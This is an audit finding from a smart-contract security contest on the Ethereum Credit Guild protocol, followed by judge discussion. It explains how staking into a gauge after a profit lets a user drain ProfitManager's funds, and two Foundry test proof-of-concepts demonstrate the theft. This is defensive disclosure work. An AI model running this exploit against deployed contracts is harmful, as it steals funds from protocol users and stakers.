The ProfitManager can be drained of all its funds

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L242-L261
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L409-L426

Vulnerability details

Bug Description

User's are incentivized to stake into gauges by earning rewards when the gauges they staked into experience a profit, i.e. loans in the gauge/term are repaid. A user can stake into a gauge by calling GuildToken::incrementGauge. Given that the gauge is an active gauge, the execution flow will continue to GuildToken::_incrementGaugeWeight:

GuildToken::_incrementGaugeWeight#L247-L260

247:        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
248:        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
249:        if (getUserGaugeWeight[user][gauge] == 0) {
250:            lastGaugeLossApplied[gauge][user] = block.timestamp;
251:        } else {
252:            require(
253:                _lastGaugeLossApplied >= _lastGaugeLoss,
254:                "GuildToken: pending loss"
255:            );
256:        }
257:
258:        ProfitManager(profitManager).claimGaugeRewards(user, gauge);
259:
260:        super._incrementGaugeWeight(user, gauge, weight);

As we can see from the above code, ProfitManager::claimGaugeRewards will be called before the user's weight is incremented in super._incrementGaugeWeight. This should have the effect of claiming any pending rewards for the user every time they stake into a gauge. The ProfitManager distributes these rewards based on the gaugeProfitIndex of the gauge and the userGaugeProfitIndex of the user:

ProfitManager.sol#L413-L431

413:        uint256 _userGaugeWeight = uint256(
414:            GuildToken(guild).getUserGaugeWeight(user, gauge)
415:        );
416:        if (_userGaugeWeight == 0) {
417:            return 0;
418:        }
419:        uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
420:        uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];
421:        if (_gaugeProfitIndex == 0) {
422:            _gaugeProfitIndex = 1e18;
423:        }
424:        if (_userGaugeProfitIndex == 0) {
425:            _userGaugeProfitIndex = 1e18;
426:        }
427:        uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
428:        if (deltaIndex != 0) {
429:            creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
430:            userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
431:        }

As shown above, the ProfitManager::claimGaugeRewards function call will return 0 (and thus perform no updates to any profit indexes) if the user's current weight is 0. If the user is staking into the gauge for the first time (or staking after previously unstaking all their weight) then this function call will not perform anything meaningful. However, this means that the user's profit index is not updated when they first stake into a gauge. The user's profit index will be first updated on line 41, which can only be reached when the claimGaugeRewards function is called once more after the user staked into the gauge for this first time (after their weight is increased). The user's userGaugeProfitIndex is thus first initialized to 1e18.

The user will receive rewards if the gauge's gaugeProfitIndex is greater than the user's userGaugeProfitIndex, i.e. if the gaugeProfitIndex is greater than 1e18. Therefore, a user is able to stake into a gauge with a large profit index (gaugeProfitIndex > 1e18) and then immediately trigger the claimGaugeRewards function once more. Since the user's profit index will be less than the gauge's profit index (gaugeProfitIndex > 1e18 & userGaugeProfitIndex == 1e18), then the user will be issued a reward despite the fact that the user staked into the gauge after the gauge's profit index was increased, i.e. the user can claim rewards on a gauge by staking into the gauge after it has experienced a profit.

The magnitude of this exploit can be fully appreciated by observing the way the ProfitManager handles the rewards for Guild stakers:

ProfitManager.sol#L382-L400

383:            if (amountForGuild != 0) {
384:                // update the gauge profit index
385:                // if the gauge has 0 weight, does not update the profit index, this is unnecessary
386:                // because the profit index is used to reattribute profit to users voting for the gauge,
387:                // and if the weigth is 0, there are no users voting for the gauge.
388:                uint256 _gaugeWeight = uint256(
389:                    GuildToken(guild).getGaugeWeight(gauge)
390:                );
391:                if (_gaugeWeight != 0) {
392:                    uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
393:                    if (_gaugeProfitIndex == 0) {
394:                        _gaugeProfitIndex = 1e18;
395:                    }
396:                    gaugeProfitIndex[gauge] =
397:                        _gaugeProfitIndex +
398:                        (amountForGuild * 1e18) /
399:                        _gaugeWeight;
400:                }

The above code can be found in the ProfitManager::notifyPnL function, which is called when a term experiences a loss or a profit. It is important to note that when this function is used to notify a profit it is expected that the appropriate amount of Credit is forwarded to the ProfitManager. This is due to the fact that the ProfitManager will allocate this profit (Credit) to the appropriate parties. Some percentage of the Credit received will be sent to a designated otherRecipient (if such exists), a percentage will be burned and distributed to Credit rebasers via Credit::distribute, a percentage of the profit will remain in the ProfitManager and will be internally allocated towards the global surplus buffer, and the last percentage of profit, which is intended for the Guild stakers, will also remain in the ProfitManager.

The above code demonstrates how the percentage for the Guild stakers is accounted for. Lines 397 - 399 shows that the ProfitManager updates the gauge's profit index according to the percentage of Credit allocated towards the stakers (amountForGuild) and the current weight of the gauge (_gaugeWeight).

We have already established that a user is able to stake into a gauge after the gauge experiences a profit and be able to claim rewards from the ProfitManager. However, we now see that the amount of Credit for stakers is calculated based on the weight of the gauge, i.e. the cumulative weight of the stakers that were staked into this gauge at the time that the profit was generated. If a gauge had a total weight of 100e18 at the time the profit was generated, then a user is able to stake 100e18 into this gauge after the fact and will be eligible to claim all of the rewards. Additionally, the ProfitManager houses Credit that belongs to surplus buffers. Therefore, If the user staked an amount greater than 100e18, then they will also be able to steal funds directly from the ProfitManager, i.e. Credit allocated towards the surplus buffers.

Impact

A user is able to stake a large amount of Guild into a gauge that has already experienced a profit and steal funds from the ProfitManager. Depending on the amount of Guild staked the user will be able to steal all of the funds from the ProfitManager. This includes rewards meant for Guild stakers and funds allocated towards the surplus buffers (either via direct donations or from user's who staked into gauges via the SurplusGuildMinter).

Additionally, any stakers who are rightfully due rewards will also not be able to unstake from the gauge until more Credit flows into the ProfitManager. This is due to the fact that the claimGaugeRewards function is called for the user when they unstake via Guild::decrementGauge. When the claimGaugeRewards function is triggered the ProfitManager will attempt to transfer Credit to the user (for their reward), but the call will revert since the ProjectManager will no longer have a Credit balance. Note that this can be mitigated by manually transferring Credit to the ProfitManager for the stakers

Moreover, this will also allow the following scenario to arise:
A gauge experiences profits and therefore its gaugeProfitIndex increases. The gauge is then offboarded. The gauge is re-onboarded in the future and still has the same increased gaugeProfitIndex. A user is therefore able to immediately stake into this gauge (for the first time) and then call the claimGaugeRewards function. This will allow the user to extract non-existent rewards for the gauge despite the fact that the gauge has not experienced a profit since being re-onboarded. The funds extracted would therefore be coming from funds allocated towards the surplus buffers in the ProfitManager.

Proof of Concept

The following tests describe both of the situations outlined above:

1. A user is able to stake into a gauge after it has experienced a profit and drain the ProfitManager
2. A user is able to stake into a re-onboarded gauge with a high profit index and drain the ProfitManager

Place the following tests inside of test/unit/governance/ProfitManager.t.sol:

    function testStealRewardsDrainProfitManager() public {
        // grant roles to test contract
        vm.startPrank(governor);
        core.grantRole(CoreRoles.GOVERNOR, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        vm.stopPrank();

        // setup
        // 50-50 profit split between GUILD & CREDIT
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0.5e18, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        // set up gauge
        guild.setMaxGauges(1);
        guild.addGauge(1, gauge1);

        // ProfitManager already has 20 credit from other actions
        credit.mint(address(profitManager), 20e18);

        // alice has 50 GUILD
        guild.mint(alice, 50e18);

        // bob has 150 GUILD
        guild.mint(bob, 150e18);

        // alice stakes into gauge before profit is generated
        vm.startPrank(alice);
        guild.incrementGauge(gauge1, 50e18);
        vm.stopPrank();

        // simulate 20 profit on gauge
        // 10 goes to alice (guild voting)
        // 10 goes to test (rebasing credit)
        credit.mint(address(profitManager), 20e18);
        assertEq(credit.balanceOf(address(profitManager)), 40e18);
        profitManager.notifyPnL(gauge1, 20e18);
        assertEq(credit.balanceOf(address(profitManager)), 30e18); // 10 credit burned for rebase rewards
        
        // bob stakes into gauge after profit has been generated
        vm.startPrank(bob);
        guild.incrementGauge(gauge1, 150e18);
        vm.stopPrank();

        // bob balance before expoit is 0 credit
        emit log_named_uint("Bob's Balance Before Exploit", credit.balanceOf(bob));

        // ProfitManager balance before exploit is 30 credit
        emit log_named_uint("Profit Manager Balance Before Exploit", credit.balanceOf(address(profitManager)));
        
        // bob drains the profit manager
        assertEq(profitManager.claimRewards(bob), 30e18);
        assertEq(credit.balanceOf(address(profitManager)), 0);
        assertEq(credit.balanceOf(bob), 30e18);

        // bob balance after expoit is 30 credit
        emit log_named_uint("Bob's Balance Before Exploit", credit.balanceOf(bob));

        // Profit Manager balance after the exploit is 0
        emit log_named_uint("Profit Manager Balance After Exploit", credit.balanceOf(address(profitManager)));

        // alice tries to claim rewards but call reverts since Profit Manager has no more credit
        vm.expectRevert("ERC20: transfer amount exceeds balance");
        profitManager.claimRewards(alice);

        // alice tries to unstake from the gauge, but call reverts
        vm.startPrank(alice);
        vm.expectRevert("ERC20: transfer amount exceeds balance");
        guild.decrementGauge(gauge1, 50e18);
        vm.stopPrank();
    }

    function testClaimNonExistentRewardsDrainProfitManager() public {
        // grant roles to test contract
        vm.startPrank(governor);
        core.grantRole(CoreRoles.GOVERNOR, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        vm.stopPrank();

        // setup
        // 50-50 profit split between GUILD & CREDIT
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0.5e18, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        // set up gauge (onboarded)
        guild.setMaxGauges(1);
        guild.addGauge(1, gauge1);
        
        // alice has 50 GUILD
        guild.mint(alice, 50e18);

        // bob has 150 GUILD
        guild.mint(bob, 150e18);

        // alice stakes into gauge before profit is generated
        vm.startPrank(alice);
        guild.incrementGauge(gauge1, 50e18);
        vm.stopPrank();

        // simulate 20 profit on gauge
        // 10 goes to alice (guild voting)
        // 10 goes to test (rebasing credit)
        credit.mint(address(profitManager), 20e18);
        profitManager.notifyPnL(gauge1, 20e18);
        assertEq(credit.balanceOf(address(profitManager)), 10e18); // 10 credit burned for rebase rewards
        
        // alice claimes rewards
        assertEq(profitManager.claimRewards(alice), 10e18);
        assertEq(credit.balanceOf(address(profitManager)), 0);

        // gauge is offboarded
        guild.removeGauge(gauge1);
        assertEq(guild.isGauge(gauge1), false);

        // Time passes & ProfitManager acquires Credit through other means (donations, profit from other terms, via SurplusGuildMinter stakers, etc...)
        vm.roll(block.number + 100);
        credit.mint(address(profitManager), 30e18);

        // gauge is re-onboarded
        guild.addGauge(1, gauge1);
        assertEq(guild.isGauge(gauge1), true);

        // bob stakes into gauge 
        vm.startPrank(bob);
        guild.incrementGauge(gauge1, 150e18);
        vm.stopPrank();

        // bob claims rewards eventhough no profit has been generated for the gauge
        assertEq(profitManager.claimRewards(bob), 30e18);
        assertEq(credit.balanceOf(address(profitManager)), 0);
    }

Tools Used

manual

Recommended Mitigation Steps

The profit index of a user who is staking into a gauge for the first time (i.e. their weight is going from 0 to > 0) should be initialized to the gauge's profit index.

Note that this is done properly in the SurplusGuildMinter:

SurplusGuildMinter.sol#L136-L147

        GuildToken(guild).incrementGauge(term, guildAmount);

        // update state
        userStake = UserStake({
            stakeTime: SafeCastLib.safeCastTo48(block.timestamp),
            lastGaugeLoss: SafeCastLib.safeCastTo48(lastGaugeLoss),
            profitIndex: SafeCastLib.safeCastTo160(
                ProfitManager(profitManager).userGaugeProfitIndex(
                    address(this),
                    term
                )
            ),

As seen above, when a user stakes into the SGM the user's profit index is initialized to the profit index of the SGM.

Assessed type

Other

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #1211

[c4-judge]

Trumpero marked the issue as satisfactory

[0xJCN]

Hi @Trumpero,

I understand that labeling a report as selected for report is subjective, but I would like to present my case as to why I believe it would be more appropriate to label this report as selected for report instead of 1194:

Although the root cause was identified in both this report and report 1194, this report has identified and demonstrated how this root cause can be leveraged to drain all the funds from the ProfitManager (see POC in this report). However, issue 1194 has only demonstrated how to leverage this root cause in order to steal all rewards. According to the supreme-court-decisions-fall-2023:

The requisites of a full mark report are:

• Identification and demonstration of the root cause
• Identification and demonstration of the maximum achievable impact of the root cause

I believe this report has satisfied both of the requisites listed above by explicitly identifying and demonstrating the maximum achievable impact of the root cause (all funds can be drained from the profit manager), while report 1194 has not explicitly identified nor demonstrated this maximum impact.

Thank you for taking the time to read my comment.

[Trumpero]

@0xJCN I don't agree that this issue has a higher impact than #1194, since the funds in ProfitManager are not users' funds, they are specifically the rewards (profits from loans). This report provides more exploit vectors with long details, which are unnecessary to improve the quality of the report in this case. For this simple vulnerability, there are many attack vectors or scenarios to exploit, so clarity and insight in the report are more valuable in my evaluation. Therefore, for this issue, I consider #1194 to be better than this report for selection.